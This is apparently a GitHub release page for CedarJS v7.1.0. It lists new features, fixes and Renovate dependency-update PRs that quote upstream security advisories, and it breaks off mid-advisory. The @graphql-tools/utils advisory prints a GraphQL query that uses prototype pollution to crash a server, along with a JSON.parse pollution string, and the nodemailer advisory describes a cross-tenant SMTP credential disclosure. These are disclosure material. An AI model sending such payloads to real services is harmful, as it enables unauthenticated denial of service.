Skip to content

v7.1.0

Latest
Latest

Choose a tag to compare

View all tags
@Tobbe Tobbe released this 20 Oct 14:37
· 3608 commits to main since this release
v7.1.0
3229897

Release Notes

Keeping open tabs working across deploys

A browser tab opened before a deploy keeps running the build it loaded. Three features in this release work together to keep those tabs working:

  • Reload on missing chunks. When a lazy-loaded page chunk fails to load, @cedarjs/web reloads the page so the user gets the latest deploy and lands on the page they navigated to. This works on any host and needs no changes to your app. If your app handles Vite's vite:preloadError event itself, register your listener with { capture: true } and call event.preventDefault(), and Cedar leaves the event alone. See Recovering from a stale build.
  • useNewVersionAvailable(). This new hook in @cedarjs/web returns true once the server is serving a newer build than the one running in the tab, so you can show a "new version available" prompt. See Detecting new deploys.
  • Netlify skew protection. yarn cedar setup deploy netlify --ud adds cedarNetlifySkewProtectionPlugin() from @cedarjs/vite. An open tab keeps loading assets and calling the API of the deploy it started on, and page loads always get the latest deploy. Run the setup command again to add the plugin to an existing app. See Skew protection.

Type your layouts for Cedar v8

@cedarjs/router exports a WrapperProps interface for layouts and other components used in <Set wrap>:

import type { WrapperProps } from '@cedarjs/router'

const MainLayout = ({ children }: WrapperProps) => {
  return <main>{children}</main>
}

In Cedar v8, every component in wrap gets exactly WrapperProps. Layouts typed with it now work unchanged after upgrading.

Faster API builds with a generated Prisma client

When a Prisma client generator writes its output into api/src (for example output = "../src/generated/prisma"), Cedar skips its API source transforms for the generated files and only rewrites their import paths. For a 60-model schema, the default cedar build API build goes from about 21 seconds to about 1 second.

Storybook only listens on localhost

Storybook is upgraded to 8.6.19 for two security fixes. Its dev server listens on 127.0.0.1 only, so yarn cedar storybook can't be reached from other devices on your network or from outside a container.

Major dependency updates for security fixes

@cedarjs/mailer-handler-nodemailer uses nodemailer 10, and @cedarjs/graphql-server and @cedarjs/realtime use version 12 of @graphql-tools/utils. Both are updated for security fixes. Your app's own copies of these packages, if it has any, aren't affected.

Changelog

🚀 Features

feat(deploy): Netlify skew protection — deploy-ID stamping + manifest (#2911) by @lisa-assistant

Adds cedarNetlifySkewProtectionPlugin, wired into cedar setup deploy netlify --ud. During the client build it writes .netlify/v1/skew-protection.json
(Netlify's Frameworks API
build output for skew protection), registering cedar-skew-token as both
header and cookie name, and skew as the query param name.

It also stamps the current deploy's NETLIFY_SKEW_PROTECTION_TOKEN into the SSR bundle via a virtual:cedar-netlify-skew-token module, since Cedar's universal-deploy Fetchable entries don't have Netlify's runtime context forwarded through and so can't read context.deploy.skewProtectionToken directly. The plugin wraps the universal-deploy catch-all Fetchable so every response pins the client to the current deploy via a Set-Cookie: cedar-skew-token=<token> header (HttpOnly, Secure, SameSite=Lax, 4-hour default Max-Age) — cookies are the only one of Netlify's three skew-protection sources that propagate automatically, with no client-side code changes required.

Header/query propagation for requests that don't carry cookies (e.g. cross-origin calls) remains a narrower, separate follow-up. Baremetal deploy support is a separate follow-up once Netlify support ships.

feat(web): Reload the page when a lazy-loaded chunk fails to load (#2921) by @Tobbe

@Tobbe

Cedar's router lazy-loads pages. After a new deploy, a browser tab that is still
running the previous build requests hashed chunks (for example
/assets/AboutPage-<hash>.js) that are no longer on the server, and the
navigation fails without any visible feedback.

@cedarjs/web listens for Vite's
vite:preloadError event
and does a full page reload when a chunk fails to load, so the user gets the
latest deploy and lands on the page they navigated to. This works on any host
and needs no changes to your app.

To avoid a reload loop when a chunk is missing even on the latest deploy, Cedar
marks the reload in sessionStorage (cedar:preload-error-reload). If the
reloaded page also fails to load a chunk within its first minute, the error
surfaces through your app's normal error handling instead. When
sessionStorage is unavailable, Cedar doesn't reload at all.

Cedar leaves events that were already handled alone. To handle chunk load errors
yourself, register a listener that calls event.preventDefault() with
{ capture: true }, so it runs before Cedar's:

window.addEventListener(
  'vite:preloadError',
  (event) => {
    event.preventDefault()
    // Your own handling
  },
  { capture: true },
)
feat(web): Add useNewVersionAvailable() hook (#2923) by @Tobbe

Adds a useNewVersionAvailable() hook to @cedarjs/web that returns true
once the server is serving a newer build of the app than the one running in the
current tab, so apps can show a "new version available, please reload" banner.

The running build is identified by the content-hashed <script type="module">
files in the current document. Every 60 seconds (configurable with
intervalMs), when the tab becomes visible again and when the browser comes
back online, the hook fetches the URL the tab was loaded from with
cache: 'no-store' and credentials: 'omit' and compares the module scripts in
the response with the running ones. Leaving out cookies means hosts with skew
protection, like Netlify, always answer with the latest deploy. All components
using the hook with the same interval share one polling loop, and polling stops
once a new version is found. The hook is inert during server rendering, in
development, and when the page has no module scripts.

import { useNewVersionAvailable } from '@cedarjs/web'

const NewVersionBanner = () => {
  const newVersionAvailable = useNewVersionAvailable()

  if (!newVersionAvailable) {
    return null
  }

  return (
    <div role="status">
      A new version of the app is available.
      <button onClick={() => window.location.reload()}>Reload</button>
    </div>
  )
}
feat(router): export WrapperProps for layouts in <Set wrap> (#3015) by @Tobbe

With this PR @cedarjs/router exports a WrapperProps interface for layouts and other components in <Set wrap> that only need the wrapped routes:

import type { WrapperProps } from '@cedarjs/router'

function MainLayout({ children }: WrapperProps) {
  return <main>{children}</main>
}

<Set wrap={MainLayout}>
export interface WrapperProps {
  children: ReactNode
}

This only adds an export, so it's meant to go out in a v7 minor. #3001 (v8) removes prop forwarding from <Set>, so every component in wrap gets exactly WrapperProps, and its generated scaffold layouts use it. With this in v7, apps can type their layouts with WrapperProps before upgrading, and those layouts work unchanged in v8.

WrapperType isn't changed here.

feat(cli): warn when cedar dev --ud falls back to classic dev servers (#2964) by @Tobbe

Summary

cedar dev --ud runs the classic api and web dev servers instead of the unified one when any of these is true:

  • streaming SSR is enabled
  • the workspace selection doesn't include both api and web
  • the project has a custom server file (api/src/server.ts)

The flag is dropped without any output in these cases. This PR prints a one-line warning naming the reason. Behavior is otherwise unchanged; the classic servers still start.

Testing

  • yarn workspace @cedarjs/cli vitest --run src/commands/dev/__tests__/dev.test.ts (new tests for the server-file and single-workspace warnings, and for no warning when unified dev runs)
  • prettier --check and eslint on packages/cli/src/commands/dev
feat(build): perf: skip Cedar source transforms for Prisma client output (#2965) by @Tobbe

When a Prisma client generator writes its output into api/src (e.g. output = "../src/generated/prisma"), every generated file goes through Cedar's API source transforms. Those transforms are no-ops on generated client code, but the model files of a large schema can be tens of megabytes, and the transforms are slow on them. #2951 (by @mcorrigan89) found a production app spending 74 seconds of an 88 second API build in applyDirectoryNamedImport on a single 62 MB models/User.ts.

Files inside the output directory of a prisma-client or prisma-client-js generator now only get applyImportExtensions, which rewrites their import specifiers to the compiled .js output and is still required (e.g. with importFileExtension = "ts"). This applies to every API pipeline:

  • esbuild API build (buildApi / rebuildApi, the default cedar build and the dev watcher)
  • buildApiWithVite (streaming SSR)
  • buildCedarApp (--ud) and the Vite API dev server, including the OTel wrapping and import-dir plugins

Other generators are not included, because third-party generators (e.g. Zod schema generators) can emit ordinary source that relies on Cedar's transforms.

How the output directories are resolved

createPrismaClientFileMatcher() in @cedarjs/project-config reads the generator output paths from schema.prisma once per build, from the plugin's buildStart hook (or esbuild's onStart), so the lookup never competes with module transforms.

The lookup runs in a worker_thread. Loading @prisma/internals in the build process has process-wide side effects (it loads graceful-fs, among other things) that made the --ud build about 4 seconds slower on its own. A worker has its own module registry, so those effects stay contained. The lookup takes about 0.4 seconds.

Results

A copy of local-testing-project with a 60-model schema whose client (59 MB) is generated into api/src/generated/prisma. Averages of three runs:

Build main This PR
esbuild buildApi() 21.5s 1.3s
buildApiWithVite 15.6s 12.2s
buildCedarApp (--ud) 12.4s 12.6s

The --ud build is dominated by Vite/Rollup's own parsing of the generated files, not Cedar's transforms, so it is unchanged.

The build output (all .js and .js.map files) is byte-identical to main for all three builds. The Vite API dev server starts and loads the generated models and the real client through lib/db.ts.

Projects using the default output = "./generated/prisma" (outside api/src) are unaffected: those files are not part of the API build.

Note: The regex in applyDirectoryNamedImport that #2951 targeted is still quadratic on large files with many quote-free export lines from other sources. That is a separate fix.

🛠️ Fixes

fix(jobs): Cap retry backoff so failing jobs can't crash the worker (#2867) by @Tobbe

The delay before a failed job is retried (attempts ** 4 seconds) is capped at
7 days, so jobs with a very high attempt count always get a valid retry time
instead of an invalid date that crashes the worker.

If the jobs adapter throws while recording a job's error or failure, the error
is logged and the worker keeps running. A job that has reached maxAttempts is
still marked as failed when recording its final error throws. After such a
write error the worker waits sleepDelay seconds before looking for its next
job, so a job that is still locked by the worker isn't re-run in a tight loop.

fix(cli): Pin @cedarjs/testing to the project's Cedar version in generated packages (#2849) by @Tobbe

packages by @Tobbe

yarn cedar generate package used to add "@cedarjs/testing": "2.2.1" to the
new package's devDependencies, no matter which version of Cedar the project
was on. It now uses the same version as the Cedar CLI you run it with, so a
package generated in a v7 project gets @cedarjs/testing 7.x.

Packages you've already generated keep their old pin. To update one, change
@cedarjs/testing in its package.json to your project's Cedar version and
run yarn install.

fix(jobs): Schedule a cron job's first run from its cron expression (#2869) by @Tobbe

Recurring jobs scheduled with later(job, args, { cron }) have their first run
at the next time the cron expression matches, the same way the job is
rescheduled after each successful run. Registering a recurring job, for example
from a script at deploy time, doesn't run it right away.

An invalid cron expression throws when the job is scheduled.

fix(cli): Accept --type in generate directive (#2868) by @Tobbe

yarn cedar generate directive <name> accepts --type validator or
--type transformer to pick the directive type without the interactive prompt.
Any other value is rejected with a list of the valid choices. Omitting --type
still prompts for the type.

fix(jobs): Accept PrismaAdapter in the Adapters type (#2871) by @Tobbe

The api/src/lib/jobs.ts file generated by yarn cedar setup jobs type-checks.
PrismaAdapter, and any custom adapter extending BaseAdapter, can be passed
to JobManager's adapters, whatever its schedule() method returns.

The scheduler returned by jobs.createScheduler() returns the adapter's own
schedule() return type, so await later(MyJob) is typed as PrismaJob when
using the Prisma adapter.

fix(deploy): Only delete release directories when cleaning up old baremetal deploys (#2865) by @Tobbe

deploys by @Tobbe

The cleanup step of cedar deploy baremetal only removes release directories
directly under your app's path, identified by their 14-digit timestamp names
(YYYYMMDDHHmmss). The newest keepReleases releases are kept. Anything else
in path, like the current symlink, .env, or a persistent uploads
directory, is left untouched. cedar deploy baremetal --rollback likewise only
points current at one of these timestamp-named release directories.

Releases deployed with a custom --releaseDir name that isn't a 14-digit
timestamp are neither removed by the cleanup step nor used as rollback targets.
Delete those yourself when you no longer need them. Rolling back while current
points to such a release fails with an error.

fix(internal): Type mockGraphQLQuery and vitest globals in web tests (#2870) by @Tobbe

mockGraphQLQuery and mockGraphQLMutation are now typed in web test files,
and vi is typed in both web and api test files, so yarn cedar type-check
accepts them without imports or local type shims. If your app has its own
.d.ts shim that declares these globals, delete it to avoid duplicate
declaration errors.

fix(jobs): Stop importing all of type-fest for the priority type (#2879) by @Tobbe

The type for a job's priority option is defined inside @cedarjs/jobs, so
type-fest is not a dependency of the package. Apps that type-check with
skipLibCheck: false don't load type-fest's declaration files through
@cedarjs/jobs, which makes yarn cedar type-check noticeably faster on the
api side.

priority still accepts only the integers 1 to 100, and your editor still flags
values outside that range.

fix(jobs): Reset a cron job's attempts after each successful run (#2881) by @Tobbe

@Tobbe

A recurring (cron) job's attempts count is reset to 0 after every successful
run. maxAttempts and the retry backoff apply to consecutive failures of a
single run, so a long-running recurring job isn't permanently failed by one
failed run.

When a recurring job does fail maxAttempts times in a row, or a run exceeds
maxRuntime, the worker logs an error saying its schedule has stopped. Call
later(job, args, { cron }) again to restart it.

The PrismaAdapter only records a job's outcome while the job is still locked
by the claim that ran it (matched on lockedAt), so a stalled worker's late
result can't change a newer run of the same job.

Custom adapters should reset attempts in success() when runAt is set. The
attempt that reaches maxAttempts is recorded with a single failure() call
that includes the attempt's error, without a preceding error() call.

fix(testing): Show why the test database reset failed (#2878) by @Tobbe

When the test database can't be reset before running api-side tests, the error
Vitest reports now includes the reset command, its exit code and Prisma's
output, so the reason for the failure is the first thing you see. Very long
output is trimmed to its last part, and the full output is also printed.

fix(deploy): Netlify skew protection never pins page loads (#2920) by @Tobbe

Netlify skew protection pins only build assets (/assets/*) and API routes to
the deploy a client loaded its page from. Page loads are always served by the
latest deploy and update the cedar-skew-token cookie, so reloading always gets
the newest version, and a "new version available, please reload" prompt works as
expected.

  • The cookie is set only on HTML responses. Asset and API responses from a
    pinned deploy don't renew it.
  • The pinned API routes come from cedarUniversalDeployPlugin(), so they follow
    whatever API root path is configured.
  • The edge function that sets the cookie on static HTML doesn't run for assets
    and API routes.
  • cookieMaxAge defaults to 24 hours. It only bounds how long an open tab can
    keep loading chunks from the deploy it started on.
fix(cli): Find the plugins property when inserting Vite plugins during setup (#2919) by @Tobbe

by @Tobbe

cedar setup deploy netlify --ud and cedar setup deploy vercel --ud register
their Vite plugins in the plugins array of web/vite.config.ts even when
other properties, such as build or server, come before plugins in the
config object.

fix(vite): scope @cedarjs/context auto-import to api/ only (#2895) by @lisa-assistant

The autoImport() call registering context from @cedarjs/context in packages/vite/src/plugins/vite-plugin-cedar-auto-import.ts had an unscoped include pattern (/\.[tj]sx?$/), matching every .ts/.tsx/.js/.jsx file in the project instead of being scoped to api/ only (like its sibling graphql-tag autoImport() a few lines below it).

@cedarjs/context relies on Node's AsyncLocalStorage, which isn't available in the browser. If a web-side file happened to use an identifier named context that wasn't explicitly imported (e.g. a function parameter in an event handler), unplugin-auto-import would inject import { context } from '@cedarjs/context' into that file, pulling AsyncLocalStorage into the Vite web build and breaking it with:

"AsyncLocalStorage" is not exported by "__vite-browser-external:async_hooks"

Fix

Scopes the include pattern to /api\/.*\.[tj]sx?$/, matching the pattern already used for the api-only graphql-tag autoImport() registration.

This bug has been present since the file was created (2026-02-08, #1168), shipping in every release since, including the current stable 7.0.0.

Fixes #2892

fix(storybook): upgrade Storybook to 8.6.19 (security) (#3044) by @Tobbe

Upgrades all Storybook packages to 8.6.19, which fixes two Storybook dev server advisories:

Cedar apps get Storybook through @cedarjs/cli-storybook-vite and storybook-framework-cedarjs, so apps are protected once a Cedar release with this change is published.

The Chromatic Visual Tests addon advisory does not apply, because Cedar does not use @chromatic-com/storybook.

Changes

  • storybook-framework-cedarjs: @storybook/builder-vite, @storybook/react and the storybook peer dependency go to 8.6.19. @storybook/addon-essentials and @storybook/types go from 8.6.14 to 8.6.19 so every Storybook package is on the same version.
  • @cedarjs/cli-storybook-vite: storybook goes to 8.6.19.

Behaviour of Storybook 8.6.19

  • The dev server listens only on 127.0.0.1 by default. yarn cedar storybook never passes --host, and Cedar's Docker setup doesn't run Storybook.
  • Cross-origin iframe embedding and postMessage are restricted in dev mode. Cedar doesn't depend on either.

Testing

  • yarn workspace storybook-framework-cedarjs build && yarn workspace storybook-framework-cedarjs test
  • yarn workspace @cedarjs/cli-storybook-vite test
  • yarn dedupe --check, and no Storybook 8.6.18 entries remain in yarn.lock
fix(eslint-config): treat @cedarjs/forms fields as label controls (#2974) by @Tobbe

jsx-a11y/label-has-associated-control recognizes controls only by tag name, so a <label> that wraps a Cedar field component is reported as unassociated:

<label>
  <CheckboxField name="active" />
  Active
</label>

The shared ESLint config (applied when a11y is enabled in cedar.toml, which is the default) now sets the rule's controlComponents option to every @cedarjs/forms field component that renders an <input>, <select> or <textarea>. HiddenField is not included, because a hidden input can't be labelled. A <label> with no control still errors, so the a11y check stays in effect.

<Label> from @cedarjs/forms is not added to labelComponents. It associates through its name prop, which the rule doesn't understand, so the common <Label name="x">Text</Label> usage would start erroring.

The forms docs get a short section on nesting fields in a <label>, including how to set controlComponents for custom fields or a stricter local config.

Fixes #2634

fix(cli): render Empty in scaffolded edit cells when the record doesn't exist (#3047) by @Tobbe

The edit cell that yarn cedar g scaffold generates reads the record's id directly in Success (post.id). When the record doesn't exist, the query returns null, and createCell only renders Empty when the cell exports one, so Success renders with null and the page crashes.

The generated edit cell now exports Empty, which renders " not found", like the scaffold's NameCell does.

  • EditNameCell.tsx.template gets the Empty export
  • the scaffold snapshots are updated
  • EditContactCell and EditPostCell in __fixtures__/test-project, test-project-live and test-project-pnpm get the same export

Found by Greptile on #2997.

📚 Docs

docs(deploy): Document the chunk-failure reload and link Netlify to skew protection (#2927) by @Tobbe

Summary

  • Adds a "Recovering from a stale build" section to docs/docs/deploy/introduction.md, right before "Detecting new deploys", documenting the automatic vite:preloadError reload in @cedarjs/web, its sessionStorage loop guard and how to opt out.
  • Adds a tip to docs/docs/deploy/netlify.md linking to the skew protection section of the universal deploy docs.

Testing

  • yarn prettier --check docs/docs/deploy/introduction.md docs/docs/deploy/netlify.md

Follows up on #2921 and #2920.

docs(release): Add release notes for v7.1.0 (#3090) by @Tobbe

Adds the release notes for v7.1.0 to .changesets/release_notes_minor.md.

yarn release-notes in release-tooling reads this file and puts it under a "Release Notes" heading at the top of the GitHub release, above the generated changelog.

The notes cover:

  • Keeping open tabs working across deploys: reload on missing chunks (#2921), useNewVersionAvailable() (#2923) and Netlify skew protection (#2911, #2920)
  • WrapperProps for layouts, to prepare for v8 (#3015)
  • Faster API builds when the Prisma client is generated into api/src (#2965)
  • Storybook 8.6.19, whose dev server only listens on 127.0.0.1 (#3044)
  • nodemailer 10 and @graphql-tools/utils 12, both updated for security fixes

This will be cherry-picked to next and release/minor/v7.1.0.

📦 Dependencies

fix(deps): update dependency nodemailer to v10.0.15 (#2949) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 10.0.14 → 10.0.16 age confidence

Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.16

Compare Source

Bug Fixes
  • addressparser: keep an escaped parenthesis inside a comment (c4ae20d)
  • fetch: keep the case of cookie names (#​1888) (9f16eed)
  • fetch: read the cookie name-value pair by position (645e97c)

v10.0.15

Compare Source

Bug Fixes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency nodemailer to v10.0.13 (#2915) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 10.0.9 → 10.0.13 age confidence

Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.13

Compare Source

Bug Fixes
  • read the advertised SASL methods without backtracking regexes (b5a896f)
  • strip comments inside an angle-addr before it becomes the address (a502247)

v10.0.12

Compare Source

Bug Fixes
  • settle every send on a connection error, back off pool requeues, turn a bare CR into CRLF, bound fetch, honour requireTLS (63ccd66)

v10.0.11

Compare Source

Bug Fixes
  • fetch: report a form body that can not be encoded through the returned stream (74d40bf)
  • keep the CommonJS entry point and the services subpath compatible with the pre-TypeScript build (52901ef)
  • qp: keep wrap() terminating for short line lengths and a trailing incomplete escape (8fa140b)
  • smtp-connection: fail a password login cleanly when the server offers only XOAUTH2 (90abf7d)
  • types: restore the layout of @​types/nodemailer in the bundled declarations (ac2e40f)

v10.0.10

Compare Source

Bug Fixes
  • derive the attachment filename from the basename of a Windows path (c7cc7ce)
  • dkim: unfold folded header lines in linear time (28a5909)
  • smtp-connection: reassemble multiline replies in linear time (f2d82fa)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency @graphql-tools/utils to v12.0.3 (#2944) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
@graphql-tools/utils (source) 12.0.1 → 12.0.3 age confidence

Release Notes

ardatan/graphql-tools (@​graphql-tools/utils)

v12.0.3

Compare Source

Patch Changes
  • #​8482 19f5b33 Thanks @​ardatan! - Compare incremental path keys to __proto__ at the property access in setObjectKeyPath, in addition to the existing isSafeObjectKey check.

v12.0.2

Compare Source

Patch Changes

  • #​8456 b1fbba2 Thanks @​renovate! - dependencies updates:

  • #​8467 20d36a5 Thanks @​ardatan! - Fix prototype pollution in mergeIncrementalResult

    Path segments are now rejected unless they are primitive strings or numbers, and keys named __proto__, constructor or prototype are still blocked. Previously a non-primitive segment such as ["__proto__"] bypassed the string equality guard and was coerced into a write on Object.prototype.

    Also exports shared isSafeObjectKey / isDangerousObjectKey helpers used by this path walker and other package call sites. @graphql-tools/merge and @graphql-tools/mock are patched so they ship with the new imports; updateInternalDependencies raises their utils floor when 12.0.2 is versioned.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency nodemailer to v10.1.0 (#3042) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 10.0.16 → 10.1.0 age confidence

Release Notes

nodemailer/nodemailer (nodemailer)

v10.1.0

Compare Source

Features
  • harden message streams, SMTP connections and the connection pool (8009da6)
Bug Fixes
  • do not read the environment or the interface table on import (094179d)
  • end the SMTP session on any 421 reply and drive the envelope through one step (5638ac1)
  • keep ERR_ACCESS_DENIED from the Node.js permission model (8b33a3d)
  • let the proxy handshake and the SMTP connection share one deadline (91ed683)
  • mime-node: decode an SMTPUTF8 domain from its A-label form (e436f4d)
  • mime-node: finish an encoded part only after its output was read (ec97d8f)
  • qp: encode a lone CR or LF in binary quoted-printable parts (42b91d9)
  • smtp-connection: count the wait for the greeting against connectionTimeout (bdcd046)
  • smtp-connection: drop the connection when DATA is taken after a refused sender (f90fb04)
  • smtp-connection: refuse a second connect() call (24ba2e0)
  • turn Nagle off for SMTP sockets and report an early sendmail exit as such (fa9b8d3)
Performance Improvements
  • encode base64 and quoted-printable without per-chunk delays (fd377bb)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency nodemailer to v10.0.14 (#2946) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 10.0.13 → 10.0.14 age confidence

Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.14

Compare Source

Bug Fixes
  • addressparser: keep a quoted display name that holds no "@​" out of the address (3570d26)
  • addressparser: keep the group recursion depth out of the options object (a680254)
  • addressparser: stop a "[" from hiding the operators after it (5619784)
  • dkim: trim a header field name in linear time (c6f7a55)
  • mime-funcs: read and write header parameters per rfc2045 and rfc2231 (b8ccad7)
  • search only the new bytes for the end of the proxy CONNECT response (81efd7b)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency @graphql-tools/utils to v12 [security] (#2942) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
@graphql-tools/utils (source) 10.11.0 → 12.0.1 age confidence

GraphQL Tools has prototype pollution in well-established utility function mergeDeep

CVE-2026-104852 / GHSA-7mx3-vvmw-hjmv

More information

Details

Closed by https://github.com/ardatan/graphql-tools/pull/8423
Mitigated in Hive Gateway by https://github.com/graphql-hive/gateway/pull/2600

A client can alias fields to constructor, __proto__ or prototype so that the response keys from two subgraphs collide on those names during result merging. Because mergeDeep recursed through inherited properties, the merge walked {}.constructor to Object, then Object.__proto__ to Function.prototype, and wrote a subgraph-supplied value over Function.prototype.call, breaking every subsequent request in the process until restart. This is remotely triggerable by an unauthenticated client with a single query against any supergraph that merges an object from two subgraphs, which is the ordinary @shareable or entity case, so it is a denial of service rather than a theoretical hardening issue.

{
  shared {
    fieldA
    constructor: fieldB {
      __proto__: child {
        call: value
      }
    }
  }
}

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

ardatan/graphql-tools (@​graphql-tools/utils)

v12.0.1

Compare Source

Patch Changes

  • #​8368 60db079 Thanks @​ardatan! - Omit mutation/subscription from printSchemaWithDirectives when those root types are no longer present on the schema (e.g. after pruneSchema).

  • #​8366 57e316d Thanks @​ardatan! - Allow % in paths checked by isValidPath (e.g. directories from URL-encoded repo names).

  • #​8370 1c1c5a0 Thanks @​ardatan! - Clean up observableToAsyncIterable queues and unsubscribe when the observable completes, so iterators do not retain references after done. Fixes leak detection flakes related to #​8057.

  • #​8370 1c1c5a0 Thanks @​ardatan! - Prefer runtime description values over stale astNode descriptions in printSchemaWithDirectives / getDescriptionNode. Fixes #​5508.

  • #​8423 0b9529f Thanks @​enisdenjo! - Fix prototype pollution in mergeDeep

    Source keys named __proto__, constructor or prototype are now skipped at every recursion level, and the check for an existing key uses hasOwnProperty instead of in, so inherited properties are never used as merge targets.

    Previously, merging untrusted data such as JSON.parse('{"constructor":{"__proto__":{"call":"x"}}}') could reach and overwrite properties on Object.prototype or Function.prototype.

v12.0.0

Compare Source

Major Changes

  • #​8346
    2273c21
    Thanks @​ardatan! - This release adds GraphQL v17 support and aligns
    the existing executor implementation with the latest GraphQL v17 API changes. The following
    changes are included:

    • getAsyncHelpers is now available on GraphQLResolveInfo. Its track method is used whenever
      waitUntil is available, as in Yoga's
      Explicit Resource Management
    • getAbortSignal is now available on GraphQLResolveInfo, matching behavior that was already
      available in this executor implementation, as in Yoga's
      Execution Cancellation
    • GraphQLResolveInfo automatically aligns variableValues according to the GraphQL version for
      better compatibility. In GraphQL v17 and above, variableValues follows the wrapped shape
      ({ coerced, sources }) expected by GraphQL APIs. In GraphQL v16 and below, variableValues
      remains a flat map as in previous versions.
    • If your custom scalar resolvers define __serialize and __parseValue, they are automatically
      mapped to coerceOutputValue and coerceInputValue in GraphQL v17.
    • BREAKING: @graphql-tools/executor's getVariableValues now returns { variableValues }
      on success, where variableValues is a VariableValues object ({ coerced, sources }). On
      failure, it returns { errors }.
    • BREAKING: collectFields, shouldIncludeNode, getDeferValues, and collectSubFields now
      need a VariableValues object instead of Record<string, any> for the variableValues
      argument.
    • visitResult now internally normalizes ExecutionRequest.variables into a
      VariableValues-compatible shape ({ coerced, sources }) before traversing selections.

v11.2.2

Compare Source

Patch Changes
  • #​8302
    e90719b
    Thanks @​pbomb! - fix mergeDeep to treat explicit undefined property
    values as overrides rather than skipping them, distinct from an absent property

v11.2.1

Compare Source

Patch Changes
  • #​8204
    615c1a2
    Thanks @​pbomb! - fix mergeDeep to treat null property values as
    explicit overrides rather than skipping them

v11.2.0

Compare Source

Minor Changes

v11.1.1

Compare Source

Patch Changes

  • #​8256
    981d461
    Thanks @​twavv! - Fix mergeDeep returning undefined instead of {}
    when merging two or more empty objects.

    Previously the output accumulator was only initialized inside the per-key loop, so merging sources
    with no own keys (e.g. mergeDeep([{}, {}])) left it undefined. This silently dropped
    empty-object values during nested merges ({ data: {} } became { data: undefined }), which
    could surface as "Cannot return null for non-nullable field" errors when stitching schemas. The
    accumulator is now initialized as soon as an object source is encountered.

v11.1.0

Compare Source

Minor Changes

v11.0.1

Compare Source

Patch Changes
  • ae36a0e
    Thanks @​mattkrick! - Handle enum values correctly if they are
    arguments of directives defined in the extensions

v11.0.0

Compare Source

Major Changes

  • #​7685
    6f3776c
    Thanks @​ardatan! - Support "federation/subgraph style" schemas in
    astFromSchema and printSchemaWithDirectives

    If a GraphQLSchema doesn't have any defined operation types, we should print the schema
    definition as an extension rather than omitting it entirely. They are not a valid schema on their
    own, but they are valid subgraph schemas in a federation setup, and it is possible to build such
    schemas with assumeValid options.

    // A schema without defined root types
buildSchema(
  /* GraphQL */ `
    extend schema @link(url: "https://specs.apollo.dev/federation/v2.0", import: ["@key"])

    type User @key(fields: "id") {
      id: ID!
      username: String
    }
  `,
  { assumeValid: true, assumeValidSDL: true }
)

    POTENTIAL BREAKING CHANGE: This can be a breaking change because now the schema above will be
    printed as the input, previously extend schema was converted to schema {}.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

fix(deps): update dependency nodemailer to v10 [security] (#2890) by @renovate-bot

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 9.1.1 → 10.0.9 age confidence

Nodemailer: Process-global DNS cache reuses TLS servername across transports, enabling cross-tenant SMTP credential disclosure

GHSA-6vj9-mwq6-2f5v

More information

Details

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component
